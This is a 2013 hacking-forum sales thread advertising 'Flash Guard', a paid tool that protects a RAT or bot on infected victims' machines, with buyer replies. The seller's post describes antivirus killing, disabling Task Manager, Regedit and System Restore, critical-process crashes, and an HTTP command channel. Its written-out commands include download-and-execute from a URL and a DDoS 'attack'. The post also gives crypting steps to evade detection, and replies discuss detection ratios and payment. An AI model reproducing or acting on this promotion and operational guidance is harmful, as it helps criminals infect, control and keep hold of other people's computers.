

Forum:[Hack Forums](#)

Thread: [Flash Guard || Advanced Botkill & Anti-Botkill || AV Killer || Protect Your RAT/Bot](#)

Six Below - August 7, 2013, 5:01 pm

Flash Guard

Flash Factions

Coded by KFC Watermelon

Protect Your RAT/Bot/File From Removal

[img]http://turboimg.com/p/xnk1376345972a.png[/img]

Description

Flash Guard is a powerful utility designed to protect your file and increase its longevity. Flash Guard utilizes multiple unique methods in order to ensure your files stay alive and protected on the host computer

Main Features

Protect your RAT/Bot/File from Removal

Stop New Malware from being Installed

Remotely Execute new Commands (Such as Download, Open Sites, etc)

Supports Unlimited Files and all File types

Powerful Persistence, resident to most bot killers

HTTP Commands

Flash Guard features a built-in HTTP Bot that allows you to remotely send commands to your users over HTTP.

It's a simple tool that allows you to remotely control your Flash Guard bots.

To use it, you're going to want to enable HTTP commands on Flash Guard, obviously.

The URL must be a direct link to a text document that you can edit. You can simply create a .txt in your dropbox and throw the public link in. That will work perfectly fine. Or use some hosting. That's fine too.

To send a command, simply edit the text document. Here are the commands:
download DIRECTURL FILENAME -s "Startup Info"

The -s "Startup info" is only if you want the file to be added to startup. The URL MUST be a direct link and the filename must not had been used before. The filename must have an extension, ex: svchost.exe

You can also add "disablehavoc" to the end of download to disable havoc if you need.

Commands Include:Download and Execute a file, add it to startup and protect it
Visit a website (visible and hidden, hidden is stealthy but looks like a real user)
Attack a website (RAPID HTTP GET Layer 7 DDOS) - Takes down most sites without a problem.
HOST File Editor
Turn HaVoc on or off. Can be used with D&E command.
Kill (Terminates Flash Guard)
Commands are sent by simply editing a text document and putting in what command you want. This is one of Flash Guard's best features.

Command List:update URL FILENAME Example: update
<http://site.com/MyNewFUDFlashGuardBin.exe> WindowsCMD.exe
enablehavoc
disablehavoc
download URL FILENAME
visit URL/WEBSITE
visit -h URL/WEBSITE
attack URL/WEBSITE TIME
hosts "hosts editor"
kill

Flash Guard

The basis of Flash Guard's itself is the File Guard feature. The File Guard supports a unlimited number of files, and all file types.
Flash Guard works by downloading your file (if it hasn't already) and executing it utilizing the many features listed below. Flash Guard will monitor your file's process PID, and if terminated, Flash Guard will restart it.
Flash Guard, in addition, is also capable of ensuring your file always starts on startup, and prevents the file from being removed or modified by both user and antivirus software alike.

Anti-Virus Killer

Flash Guard is able to remove the many, free AntiVirus software that try to remove your software.
Confirmed to Kill:Avira AntivirusSpoiler ([Click to View](#))
This is Avira after running Flash Guard and rebooting. The real-time module completely failed to start, and hitting "Fix problem" did absolutely nothing. Avira was basically destroyed.
[img]<http://turboimg.com/p/udj1375906646k.PNG>[/img]

In addition, Avira failed to update at all:

Avast AntivirusSpoiler ([Click to View](#))
After running Flash Guard and rebooting, Avast Antivirus and its modules were completely disabled and not working.

Malwarebytes Anti-Malware Spoiler ([Click to View](#))

Flash Guard was able to completely remove Malwarebytes Anti-Malware, including the Pro version, and completely stopped it from working at all. There are no screenshots, as Malwarebytes would simply not open at all.

Attempt Elevated

Flash Guard will attempt to obtain elevated, admin permissions for better persistence and more efficient bot killer. On Vista/7/8 with UAC DISABLED, Flash Guard will automatically gain Elevated Permissions, and will copy itself to a system folder.

On Vista/7/8 with UAC ENABLED, Flash Guard will prompt for admin permissions Spoiler ([Click to View](#))

Confirmed working on:

Flash Guard supports everything that doesn't add startup automatically or create new files. For example: If you're using Dark Comet, disable Dark Comet's startup and install feature. Flash Guard add the startup and install for you. DarkComet

BlackShades

Imminent Monitor

jRAT

And MANY more!

NOTE: If you are using Flash IRC Bot there is NO need to purchase Flash Guard. Flash IRC Bot has Flash Guard technology built in.

HaVok File Shield

Perhaps Flash Guard's best and most unique feature. HaVok acts as a Real-Time File Monitor. Why HaVoc? HaVoc is true to its definition of "Widespread destruction". HaVoc being a Real-Time file monitor, monitors the hosts file system for additional malicious activity. HaVoc is capable of preventing the installation of almost all additional malware, including complex, higher end malicious files. HaVoc also devastates the "Download and Execute" function in bots, RATs, etc - in laymen's terms, disabling them completely

In addition, HaVoc prevents the host PC from downloading or installing new software, such as Anti-Malware and Anti-Virus products.

HaVoc's File Searcher features, which is designed to search a total of twenty (20) different directories and their sub-directories for malicious or useless files and "junk" file, and get rid of them. This improves the host computers PC performance, which in turn means faster, more stable bots!

Persistence

Because Flash Guard's primary use is to protect your file, we've worked hard to ensure it is very

persistent. Flash Guard is resistant to most bot killers, and user deletion alike.

Process Persistence - Prevents Usermode applications from terminating Flash Guard or your file on UAC-Enabled computers

File Persistence - Protects Flash Guard and your file from modification, including: deletion, modification, permission changes and more.

Startup Persistence: Ensures Flash Guard is always in startup. Prevents deletion, modification, and disabling of its startup.

Set Process Critical. On XP and NON-UAC enabled computers, Flash Guard is capable of setting its process to critical. This means, when killed by a Bot Killer or user, the computer will BSOD. This usually tends to cause a BSOD when user is shutting down their computer as well, however, we've incorporated a fix for this that un-sets the process critical on user shutdown and reboot.

Bot Killer

Bot killers goal is to remove malicious software on the host machine.

Flash Guard utilizes multiple methods in order to find, and remove malware on the hosts machine. Flash Guard's Bot Killer will NOT harm or remove your file - only additional malware you did not chose to execute!

Flash Guard is able to kill and remove nearly all malware that doesn't feature a rootkit. This includes RATs (DarkComet, BlackShades, etc), Host Booters such as IPKiller, IRC Bots, and much more. Flash Guard also cleans the host machine and ensures maximum longevity for your file.

Process Searcher: Searches running processes for malicious items, terminates and deletes them. Even more deadly with elevated admin permissions.

Startup Killer: Searches registry and startup folders for malicious items. Flash Guard has a separate module that stops these files from working after a reboot - and is successfully on nearly everything.

Kill .NET Crypters: Searches for files a majority of .NET crypters inject into, and kills their parent process.

Kill Java: Kills running java processes. This will terminate Java malware, which is becoming more and more present in today's world.

Auto Bot Kill: Runs the Bot Killer module every 5 minutes, can help battle pesky process persistence in malware.

Disablers

Flash Guard is capable of disabling applications which may assist the specific computers user in the removing of Flash Guard.

Task Manager

Regedit

System Restore

View Hidden Files and Folders

Flash Guard Preview

Flash Guard Main Display: Spoiler ([Click to View](#))

[img]http://turboimg.com/p/keh1377225130f.PNG[/img]

Flash Guard Main Display Files Added: Spoiler ([Click to View](#))

[img]http://turboimg.com/p/aur1377225214f.PNG[/img]

Flash Guard Add File Feature: Spoiler ([Click to View](#))

[img]http://turboimg.com/p/xnk1377225248j.PNG[/img]

Pricing & Payment Information

Price: \$32 Lifetime

Flash Guard is a Netseal protected program (along with additional obfuscation to the application itself) that allows for easy access and allows us to send updates with ease.

All Flash Guard payments are taken manually via PayPal. Directly after checkout, you will receive a download link to the Flash Guard application, in addition a serial code to activate your specific copy.

If you are interested in purchasing Flash Guard, please contact Six Below via HF PM or Skype. All contact info can be found below in the "Contact" section.

Contact Information

Head Support/Sales: [Six Below](#)

Skype: SixBelowHF

Coder/Developer: [KFC Watermelon](#) (Do NOT contact for Flash Guard questions, or sales related questions.)

Crypting Information

Flash Guard is not to be used as a crypter. All Flash Guard output bins are currently detected at a 5/35+ ratio. Your Flash Guard output bin should be crypted prior to sending out. We included "Crypting Steps" below. Any crypter that supports "Managed Files" should work fine. This is a question for your crypter provider rather than us.

We cannot confirm, nor will be testing any crypter unless asked to explicitly by a crypter owner. If you are a crypter owner that is willing to give us a test crypt please contact Six Below.

Crypting Steps:

- 1) Create bin with no added options. No startup or persistence what-so-ever.
 - 2) Enter your unencrypted build into Flash Guard, and add any settings desired.
 - 3) Crypt the Flash Guarded output bin using a crypter that supports "Managed Files" and "EOF"
- It is important to test your stub every step of this process to insure you are not making a mistake. Be smart people. Test on small loads or in a VM before sending to mass loads.

FAQ

[Click here to view the FAQ on PasteBin](#)

Update History/Log

8/6/2013: Flash Guard (Version 1.0) was released.

8/8/2013: Flash Guard (Version 1.1) was released. Support for multiple files added.

8/12/2013: Flash Guard (Version 1.2) was released. HTTP control function now available!

8/16/2013: Flash Guard (Version 1.3) was released. Injection added. Start-up and persistence fixed.

8/25/2013: Flash Guard (Version 1.4) was released. Crypting issues fixed, along with many other minor bot stability and protection updates.

9/2/2013: Flash Guard (Version 1.5) was released. Allows better updating, along with better AV killing and increased persistence shield.

9/13/2012: Flash Guard (Version 1.6) was released. Minor updates added.

Pick - August 7, 2013, 5:03 pm

Vouch this is a true legit program. Its sexy and beast.

MultipleChoice - August 7, 2013, 5:05 pm

This looks really nice man and effective, GLWS

janoycresnova23 - August 7, 2013, 5:23 pm

Very interesting product bro. Will keep an eye on it. Vouch on Six Below as well, guy is extremely trustworthy. :) Goodluck with your future sales brother!

Six Below - August 7, 2013, 5:56 pm

I understand this is a very unique project. I can assure everyone interested it will do everything advertised. Working on proof videos now, in addition to the thread design. Thanks to everyone for the kind words, and support!

JavaProphet - August 7, 2013, 6:06 pm

Vouch, talked to the developer a bit, and inspired the anti-java feature.

Six Below - August 7, 2013, 6:48 pm

(Aug 7, 2013 06:06 PM)JavaProphet Wrote: [\[CITE\]](#) Vouch, talked to the developer a bit, and inspired the anti-java feature.

You are to thank for the help in developing the "Kill Java" feature. Much appreciated my friend.

KFC Watermelon - August 7, 2013, 7:45 pm

Vouch for this project. Very well coded and excellent killing capabilities. Looking forward to the update.

DeadlyVermilion - August 7, 2013, 7:48 pm

Guarantee I could code up something that would kill this and it's files it's supposed to be protecting within an hour.

Tutelary - August 7, 2013, 7:50 pm

What is this program coded in? VB.NET? Python?

Six Below - August 7, 2013, 7:52 pm

(Aug 7, 2013 07:48 PM)DeadlyVermilion Wrote: [\[CITE\]](#) Guarantee I could code up something that would kill this and it's files it's supposed to be protecting within an hour.

Ok, please do so, I would be happy to have it tested. I will be online for the next hour waiting for your response.

KFC Watermelon - August 7, 2013, 8:13 pm

(Aug 7, 2013 07:48 PM)DeadlyVermilion Wrote: [\[CITE\]](#) Guarantee I could code up something that would kill this and it's files it's supposed to be protecting within an hour.

I helped code this thing. Send me what you got and I'd be happy to test it for you. Always looking for ways to improve. Thanks.

(Aug 7, 2013 07:50 PM)Lakai Wrote: [\[CITE\]](#) What is this program coded in? VB.NET? Python?
It's coded in VB.NET and requires the .NET 2.0 framework.

Thank you

Six Below - August 7, 2013, 8:14 pm

(Aug 7, 2013 08:13 PM)KFC Watermelon Wrote: [\[CITE\]](#) I helped code this thing. Send me what you got and I'd be happy to test it for you. Always looking for ways to improve. Thanks.

It's coded in VB.NET and requires the .NET 2.0 framework.

Thank you

I can confirm the above statements.

imposter johnson - August 7, 2013, 8:55 pm

This thing is the bomb! Just purchased it, thought it was a good price, and the idea of keeping your bot/rat longer is amazing! I would like to thank the coder for coming up with such a great idea! I love the product!

Rogerbot - August 7, 2013, 9:05 pm

Does anyone know any crypters that work with Flash Guard? If there is one I will buy today.

KFC Watermelon - August 7, 2013, 9:10 pm

(Aug 7, 2013 09:05 PM)HFBot Wrote: [\[CITE\]](#) Does anyone know any crypters that work with Flash Guard? If there is one I will buy today.

Honestly anything that supports managed executable and EOF should work. That is most if not all properly coded .NET Crypters.

BTW, It's 2/36, detected by Avira and some shitty never-used antivirus.

KFC Watermelon - August 7, 2013, 9:27 pm

(Aug 7, 2013 09:20 PM)?S0ulSn1p3rR Wrote: [\[CITE\]](#) I am very interested in this i would just like to know which botnets this could kill btw if it could kill betabot id be buying it as soon as i got the money even if it killed a majority of the other botnets i would want it.

It won't kill betabot as far as I know.

In terms of other botnets, it wipes most things out no problem.

If you'd like a file tested, send it over, I'll test it in my VM.

What I like about Flash Guard is that it's coded so every single feature is basically an option, you can adjust it to your needs.

betamonkey - August 7, 2013, 10:44 pm

Good luck with your project. Did you develop it yourself KFC or just assist?

KFC Watermelon - August 7, 2013, 11:15 pm

(Aug 7, 2013 10:44 PM)betamonkey Wrote: [\[CITE\]](#) Good luck with your project. Did you develop it yourself KFC or just assist?

Thank you for your feedback beta. I'm the lead developer and everything is mainly coded by me.

What's to come in updates:

- Multi-File downloader for other files. This is a must and is coming soon.

- Improved AV Killer. The current one works, but it could be way better especially with elevated permissions.

BetaBot is honestly the only malware sample that I couldn't kill. Beta does a nice job of protecting its file and process :). Everything else I tested was simply destroyed. I would like bins of newest Smoke and Andro.

Again, if anyone has any malware to submit to test the bot killer, or wants me to test their persistence, just PM me a link and I'll fire up the virtualbox. Got my virtual hard drive on my SSD.

Six Below - August 7, 2013, 11:24 pm

(Aug 7, 2013 11:15 PM)KFC Watermelon Wrote: [\[CITE\]](#) Thank you for your feedback beta. I'm the lead developer and everything is mainly coded by me.

What's to come in updates:

- Multi-File downloader for other files. This is a must and is coming soon.

- Improved AV Killer. The current one works, but it could be way better especially with elevated permissions.

BetaBot is honestly the only malware sample that I couldn't kill. Beta does a nice job of protecting its file and process :). Everything else I tested was simply destroyed. I would like bins of newest Smoke and Andro.

Again, if anyone has any malware to submit to test the bot killer, or wants me to test their persistence, just PM me a link and I'll fire up the virtualbox. Got my virtual hard drive on my SSD.

I am very blessed to be working with such a well versed and well spoken coder/developer in "KFC Watermelon".

Six Below - August 7, 2013, 11:50 pm

(Aug 7, 2013 11:37 PM)#Moist Wrote: [\[CITE\]](#) Mind sending me a bin that just runs a blank .net form? Want to see if I can wip up something that'll kill it.

I'm sorry, we cannot just send bins to anyone that asks. We are already working with someone who claims he can kill. I'm sure he will update with his results. Sorry for my misleading previous message (now deleted). Thank you.

KFC Watermelon - August 8, 2013, 12:05 am

(Aug 7, 2013 11:37 PM)Futuristic Wrote: [\[CITE\]](#) Mind sending me a bin that just runs a blank .net form? Want to see if I can wip up something that'll kill it.

I'm sorry, but we simply won't be sending bins to people. I hope this is understandable.

If you'd like, send me your bot killer. I'll run Flash Guard, and then your bot killer, on a Windows 7 VM. I'm always looking for ways to improve.

Anyways, have a nice day. ?

Qmz_ - August 8, 2013, 12:14 am

Looks good! Before this week I would have bought this, but I just spent a lot of money to an unpopular bot and I think It'll survive this. :)

And no I won't say what it is ?

alignment - August 8, 2013, 12:17 am

Vouch for this amazing, trollolol awesome piece of software.
It is living up the expectations I had when talking to SB.

GLWS my friend.

Peter - August 8, 2013, 12:21 am

This looks like an amazing program.
I might actually pick this up very shortly.

GLWS mate!

Canc?r - August 8, 2013, 12:22 am

How are you intercepting system calls if the bin is written in C#? ?

KFC Watermelon - August 8, 2013, 12:35 am

Hey guys - Heading to bed now. Will be on tomorrow at sometime. If you require assistance, please contact Six Below.

Thanks

(Aug 8, 2013 12:22 AM)Canc?r Wrote: [\[CITE\]](#) How are you intercepting system calls if the bin is written in C#? ?

PM'd you regarding this, Flash Guard isn't capable of this.

Six Below - August 8, 2013, 3:22 am

Thanks to everyone for a successful first day. Expect an update within the next 72 hours or so.

Bot Products - August 8, 2013, 3:52 am

If anyone knows an exact crypter I can use for this I will buy it ASAP.

Six Below - August 8, 2013, 3:55 am

(Aug 8, 2013 03:52 AM)Botwork Wrote: [\[CITE\]](#) If anyone knows an exact crypter I can use for this I will buy it ASAP.

Any crypter that supports .NET 2.0 framework (90% of crypters do) will work. I recommend: <https://hackforums.net/showthread.php?tid=3650168> The owner is both a friend of mine, and provides great support. They have options that will allow this to be crypted. Just an FYI, it is 2/35 before crypting so not to bad for an unencrypted file. Thanks!

Bot Products - August 8, 2013, 4:00 am

(Aug 8, 2013 03:55 AM)Six Below Wrote: [\[CITE\]](#) Any crypter that supports .NET 2.0 framework (90% of crypters do) will work. I recommend: <https://hackforums.net/showthread.php?tid=3650168> The owner is both a friend of mine, and provides great support. They have options that will allow this to be crypted. Just an FYI, it is 2/35 before crypting so not too bad for an unencrypted file. Thanks!
Oh I thought this was a stub, nevermind. :P

I have trouble paying, We can't process your payment right now, so please try again later. We're sorry for the inconvenience.

Any way to fix this?

Six Below - August 8, 2013, 4:03 am

(Aug 8, 2013 04:00 AM)Botwork Wrote: [\[CITE\]](#) Oh I thought this was a stub, nevermind. :P

I have trouble paying, We can't process your payment right now, so please try again later. We're sorry for the inconvenience.

Any way to fix this?

I'm sorry, but I'm a bit confused on what you mean when you say: "Oh I thought this was a stub, nevermind."

Also, are you having issues paying for Flash Guard or the mentioned/suggested crypter above?

Thank you, and sorry if I am misunderstanding.

Bot Products - August 8, 2013, 4:16 am

(Aug 8, 2013 04:03 AM)Six Below Wrote: [\[CITE\]](#) I'm sorry, but I'm a bit confused on what you mean when you say: "Oh I thought this was a stub, nevermind."

Also, are you having issues paying for Flash Guard or the mentioned/suggested crypter above?

Thank you, and sorry if I am misunderstanding.

I have a problem sending the payment via PayPal. My account isn't limited. Is there any way to fix this?

Six Below - August 8, 2013, 4:17 am

(Aug 8, 2013 04:16 AM)Botwork Wrote: [\[CITE\]](#) I have a problem sending the payment via PayPal. My account isn't limited. Is there any way to fix this?

I don't think on my end I can do anything. I would be more than happy to work out a direct payment with you such as send as gift, or do a donation page if that can work. Sorry to hear about the issues.

Bot Products - August 8, 2013, 4:19 am

(Aug 8, 2013 04:17 AM)Six Below Wrote: [\[CITE\]](#) I don't think on my end I can do anything. I would be more than happy to work out a direct payment with you such as send as gift, or do a donation page if that can work. Sorry to hear about the issues.

Send me a PM with who to send it to.

Six Below - August 8, 2013, 4:25 am

(Aug 8, 2013 04:19 AM)Botwork Wrote: [\[CITE\]](#) Send me a PM with who to send it to.

PM sent. Lets hope your PayPal situation works out. :-)

Leaving forever - August 8, 2013, 4:33 am

God Six Below you're flooding the market with your awesome programs :3

Another thing I gonna buy from you!

Six Below - August 8, 2013, 4:34 am

(Aug 8, 2013 04:33 AM)Syphox Wrote: [\[CITE\]](#) God Six Below you're flooding the market with your awesome programs :3

Another thing I gonna buy from you!

Thank you very much for your kind words! I am hoping to get a site for all these products up fairly soon. Expect the Flash IRC Bot to be back up and running very soon, in addition to an HTTP Bot, utilizing the Flash Guard build methods.

alignment - August 8, 2013, 4:35 am

(Aug 8, 2013 04:33 AM)Syphox Wrote: [\[CITE\]](#) God Six Below you're flooding the market with your awesome programs :3

Another thing I gonna buy from you!

Vouch for this statement. Oure awesomeness.

AwesomeFactions

Six Below - August 8, 2013, 4:39 am

Thanks again everybody. I am heading to bed now. Will be back up and answering all questions in no time. As always, the auto-checkout/buy is working. ?

Madara-Uchiha - August 8, 2013, 4:46 am

Seems very promising.

Vouch for Six Below, he is a great User, very trusted!:)

jontaon - August 8, 2013, 5:51 am

Seems to be great product. Will try this soon. It would be perfect if you can add 2 or 3 files to guard option. Currently its only guard 1 file. Some users required 2 files (bot and RAT etc) to guard. Appreciate if you consider my request.

KFC Watermelon - August 8, 2013, 9:35 am

This program is working extremely well on some bots I bought on DarkComet. Their registry had about 50 files in startup. Now it's just Flash.

(Aug 8, 2013 04:34 AM)Six Below Wrote: [\[CITE\]](#) Thank you very much for your kind words! I am hoping to get a site for all these products up fairly soon. Expect the Flash IRC Bot to be back up and running very soon, in addition to an HTTP Bot, utilizing the Flash Guard build methods.

I thought the guy who coded the IRC bot is going to code the new one. I'd love to code the HTTP bot though.

(Aug 8, 2013 05:51 AM)jontaon Wrote: [\[CITE\]](#) Seems to be great product. Will try this soon. It would be perfect if you can add 2 or 3 files to guard option. Currently its only guard 1 file. Some users required 2 files (bot and RAT etc) to guard. Appreciate if you consider my request.

The plan is to have one file that Flash Guard monitors the PID and restarts if killed, and then unlimited other files that Flash Guard will protect, just not monitor.

jontaon - August 8, 2013, 12:41 pm

Quote:The plan is to have one file that Flash Guard monitors the PID and restarts if killed, and then unlimited other files that Flash Guard will protect, just not monitor.

Little bit confused. If the antibot killer runs,how do other unlimited files Flash Guard will protect? There is no option to mention other files for Flash Guard.

Please explain example settings for 2 files (bot and RAT) runs and Flash Guard to protect. Also

other bots to be killed. Thanks.

KFC Watermelon - August 8, 2013, 12:58 pm

(Aug 8, 2013 12:41 PM)jontaon Wrote: [\[CITE\]](#) Little bit confused. If the antibot killer runs, how do other unlimited files Flash Guard will protect? There is no option to mention other files for Flash Guard.

Please explain example settings for 2 files (bot and RAT) runs and Flash Guard to protect. Also other bots to be killed. Thanks.

The option to protect more than one file is not yet released. It is coming in a update soon. Very soon, that is, as I'm testing the update in my virtualbox right now and all seems 100% except process persistence on the other files.

In terms of settings, for the file you want to protect, you need to disable startup and persistence on that file. Let Flash Guard run on your file on startup and protect it.

Other bots to be killed - we won't be making a list of what it kills because:

1. Not going to test everything
2. I'm not going to "flame" other products here saying it "Kills X, X and X! BUY NOW!".

However, the bot killer is very capable and able to remove most malicious files.

Thank you

Bot Products - August 8, 2013, 12:59 pm

What if there were a FlashBot server to be updated? Would FlashBot kill flashbot? Can we uninstall it?

KFC Watermelon - August 8, 2013, 1:08 pm

Ok guys, about to finish the first update.

New features:

- Unlimited File Downloader (Supports all filetypes)
- Executable files downloaded using File Downloader will be protected, if you enable the persistence settings (File/Process/Startup)
- Bot Killer ignores files downloaded File Downloader (of course)

(Aug 8, 2013 12:59 PM)Botwork Wrote: [\[CITE\]](#) What if there were a FlashBot server to be updated? Would FlashBot kill flashbot? Can we uninstall it?

I don't understand what you mean. I'm not affiliated with Flash Bot in anyway and I never helped code it or anything.

jontaon - August 8, 2013, 1:15 pm

Quote:Ok guys, about to finish the first update.

New features:

- Unlimited File Downloader (Supports all filetypes)
 - Executable files downloaded using File Downloader will be protected, if you enable the persistence settings (File/Process/Startup)
- Great. Does downloader FUD or need to crypt?

KFC Watermelon - August 8, 2013, 1:20 pm

(Aug 8, 2013 01:15 PM)jontaon Wrote: [\[CITE\]](#) Great. Does downloader FUD or need to crypt? Downloader is built into Flash Guard and therefore it's detected. I think 2/36 still by avira and some AV I've honestly never heard of.

Six Below - August 8, 2013, 1:37 pm

(Aug 8, 2013 01:20 PM)KFC Watermelon Wrote: [\[CITE\]](#) Downloader is built into Flash Guard and therefore it's detected. I think 2/36 still by avira and some AV I've honestly never heard of.

I just want to again thank "KFC Watermelon". He is, if not the most easy and well versed person I have ever worked with on HF. A new update soon to be out already, this just shows his dedication. Thanks again!

Bot Products - August 8, 2013, 1:57 pm

(Aug 8, 2013 01:37 PM)Six Below Wrote: [\[CITE\]](#) I just want to again thank "KFC Watermelon". He is, if not the most easy and well versed person I have ever worked with on HF. A new update soon to be out already, this just shows his dedication. Thanks again!

How long is soon? Tomarrow or today? :)

EDIT: Got an error and sent you a PM about it.

Six Below - August 8, 2013, 2:11 pm

(Aug 8, 2013 01:57 PM)Botwork Wrote: [\[CITE\]](#) How long is soon? Tomarrow or today? :)

EDIT: Got an error and sent you a PM about it.

The error was simply a netseal licenses lock due to needing a PM confirmation. Responded to your PM, look forward to working this out for you. Thanks.

The update does not have a date set on it. We are not rushing things, but should be sooner rather than later.

Bot Products - August 8, 2013, 2:38 pm

(Aug 8, 2013 02:11 PM)Six Below Wrote: [\[CITE\]](#) The error was simply a netseal licenses lock due to needing a PM confirmation. Responded to your PM, look forward to working this out for you. Thanks.

The update does not have a date set on it. We are not rushing things, but should be sooner rather than later.

I PMed you back regarding the issue, there's no need to worry, I will never chargeback. :)

Rayquaza™ - August 8, 2013, 2:39 pm

Would you allow users to test the anti botkill function before they purchase?

KFC Watermelon - August 8, 2013, 2:40 pm

(Aug 8, 2013 02:39 PM)BlueShadesTM Wrote: [\[CITE\]](#) Would you allow users to test the anti botkill function before they purchase?

Send me your bot killer and I'll test it in virtualbox.

Other than that no, sorry.

Dobby - August 8, 2013, 2:46 pm

looks good glws. i would have bought it if it whas non depended.

?????Thr????? - August 8, 2013, 2:50 pm

I guarantee that this is .NET, of course, judging by the picture of the interface.

First of all, I want to point out that your little monitor thing is probably a FileSystemWatcher (which by the way, will not catch calls if intercepted by an existing rootkit or usermode rootkit), which is not effective in the least to say. How is this scanning memory? Any chance you can prove things?

Oh, and nice, I see you found a way to delete files from folders on reboot. I see you have deleted as many things as you can possibly delete from each AntiVirus in your list. Congratulations for figuring out NtDeleteFile (which in your case is File.Delete()).

You stated that your botkiller runs every 5 minutes, are you using a timer or are you just blocking the thread (if you are even using a thread for that) from executing until five minutes is up?

Second of all, I must point out that .NET malware can be killed easily, no matter what kind of "persistence" you have.

Third of all, I am really tired of seeing unworthy malware in the marketplace lately. Please leave with your .NET and come back when you learn C.

Until you can answer my questions, this reply will stay on this thread.

KFC Watermelon - August 8, 2013, 2:57 pm

New update with Unlimited File Downloader is about to be released. Just finished testing everything in all my VM's, doing very well.

(Aug 8, 2013 02:50 PM)Thr??? Wrote: [\[CITE\]](#) I guarantee that this is .NET, of course, judging by the picture of the interface.

First of all, I want to point out that your little monitor thing is probably a FileSystemWatcher (which by the way, will not catch calls if intercepted by an existing rootkit or usermode rootkit), which is not effective in the least to say. How is this scanning memory? Any chance you can prove things?

Oh, and nice, I see you found a way to delete files from folders on reboot. I see you have deleted as many things as you can possibly delete from each AntiVirus in your list. Congratulations for figuring out NtDeleteFile (which in your case is File.Delete()).

You stated that your botkiller runs every 5 minutes, are you using a timer or are you just blocking the thread (if you are even using a thread for that) from executing until five minutes is up?

Second of all, I must point out that .NET malware can be killed easily, no matter what kind of "persistence" you have.

Third of all, I am really tired of seeing unworthy malware in the marketplace lately. Please leave with your .NET and come back when you learn C.

Until you can answer my questions, this reply will stay on this thread.

Hi there,

The process searcher works by checking the location of running processes. Processes that are in locations where most malware lies are killed. I understand this can cause false positives, and I've added a few things to stop it from killing legit processes. I plan on greatly improving this in a later update.

Second of all, using NtDeleteFile will not, in any way, remove/disable/cripple antivirus software as far as I'm aware. The files placed on the hard drive when installing an antivirus usually have strict permissions regarding this. I don't use NtDeleteFile in the crippling of antivirus software. I use another method in the killing of AVs; however, I'm not 100% happy with the method and I'm looking forward to updating the AV killer in a later update. It's def not at it's full potential, but it gets the job

done (mainly against the free, really popular AVs.)

Third, the bot killers all together run on their own, separate thread (in fact, everything does) and if you enable the Auto Bot killer feature (which, as everything else in Flash Guard, is optional), it will re-run the thread every five minutes.

Finally, thank you for your feedback, and have a great day.

?????Thr????? - August 8, 2013, 3:03 pm

(Aug 8, 2013 02:57 PM)KFC Watermelon Wrote: [\[CITE\]](#) New update with Unlimited File Downloader is about to be released. Just finished testing everything in all my VM's, doing very well.

Hi there,

The process searcher works by checking the location of running processes. Processes that are in locations where most malware lies are killed. I understand this can cause false positives, and I've added a few things to stop it from killing legit processes. I plan on greatly improving this in a later update.

Are you using a signature-based algorithm or are you using checksums?

Quote:Second of all, using NtDeleteFile will not, in any way, remove/disable/cripple antivirus software as far as I'm aware. The files placed on the hard drive when installing an antivirus usually have strict permissions regarding this. I don't use NtDeleteFile in the crippling of antivirus software. I use another method in the killing of AVs; however, I'm not 100% happy with the method and I'm looking forward to updating the AV killer in a later update. It's def not at it's full potential, but it gets the job done (mainly against the free, really popular AVs.)

I was stating that deleting files that are needed by the AntiVirus is a notable way of killing it off.

Quote:Third, the bot killers all together run on their own, separate thread (in fact, everything does) and if you enable the Auto Bot killer feature (which, as everything else in Flash Guard, is optional), it will re-run the thread every five minutes.

Are you using a timer for this? I don't see how you are keeping track of time.

Quote:Finally, thank you for your feedback, and have a great day.

Thank you for your mature post. I appreciate your reply and I look forward to your next reply.

KFC Watermelon - August 8, 2013, 3:08 pm

Quote:Are you using a signature-based algorithm or are you using checksums? I plan on having the process searcher reduce false positives by checking digital signature in a future update.

EDIT: And.... Digital signatures isn't a doable option. Just had it in mind. I believe I'll check file checksum, and have a good list of legit programs.

I've been testing the bot killer on some RAT victims for a while to test false positives, and honestly everything is fine.

Quote:I was stating that deleting files that are needed by the AntiVirus is a notable way of killing it off. And you're right. But really, having to test every AV itself is a pain in the ass. I mainly targeted the popular, free AVs and it wasn't difficult by any means. As I said, I do plan on improving the AV killer greatly.

Quote:Are you using a timer for this? I don't see how you are keeping track of time. After the thread finishes running the bot killer, if the user selected Auto BK then the thread will sleep 5 mins and

re-run, and repeat. Otherwise it just stops.

Quote: Thank you for your mature post. I appreciate your reply and I look forward to your next reply. No problem. I won't lie about anything I do and I won't feed you bullshit. I tell it how it is, honestly. I understand your dislike for .NET malware and respect your opinion the same way I respect everyone else's opinion.

Now that the update is out, I'm going to go AFK for a while. Hope everything goes smooth.

Thank you

Six Below - August 8, 2013, 3:17 pm

Update (Version 1.1) was just sent out. Enjoy!

Spoiler ([Click to View](#))

KFC Watermelon - August 8, 2013, 3:56 pm

Glad to get the file downloader finished. It was necessary as HaVoc will break your RATs/bots download and execute if you enable it.

Six Below - August 8, 2013, 4:51 pm

(Aug 8, 2013 03:56 PM) KFC Watermelon Wrote: [\[CITE\]](#) Glad to get the file downloader finished. It was necessary as HaVoc will break your RATs/bots download and execute if you enable it. Thanks again for your constant hard work!

Rayquaza™ - August 8, 2013, 4:52 pm

(Aug 8, 2013 02:40 PM) KFC Watermelon Wrote: [\[CITE\]](#) Send me your bot killer and I'll test it in virtualbox.

Other than that no, sorry.
Can this Botkill Betabot?
Can this get Botkilled by Betabot?

KFC Watermelon - August 8, 2013, 4:54 pm

(Aug 8, 2013 04:52 PM) BlueShades™ Wrote: [\[CITE\]](#) Can this Botkill Betabot?
Can this get Botkilled by Betabot?
As far as I know, it will not kill beta.

And I don't know if beta kills it or not.

Six Below - August 8, 2013, 5:39 pm

Hopefully the new app icon and thread design will be up soon.

Bot Products - August 8, 2013, 6:01 pm

You should make it so settings are saved on exit. :)

? ?? ?22? - August 8, 2013, 6:43 pm

Interesting! Will consider buying this. I like your support n customer service by answering every question professionally. Keep it up! One question, do you concern about FUDness for every future update?

betamonkey - August 8, 2013, 6:47 pm

Hi,

I checked this out. There are some rather large issues you need to work out mate. I think you're a nice guy and such so please don't take all this the wrong way.

1. AV Killer:

- a) Avira Internet Security - "sort of" crippled, but the on-demand scanner (and I think background scanner as well) are still 100% functional. The updater component is as well. In order for your disabler to have any real useful effect, at least one of those needs to get crippled.
- b) ESET Smart Security 6, while I did not see mentioned, is not disabled by this method (Funny though I never thought this method you used would work on ANY of these)
- c) Norton Internet Security - Norton is completely unaffected by this in my tests, and in fact, Norton IS SONAR caught the file doing suspicious things before it was even able to properly run/install.. So the process was terminated and basically it failed
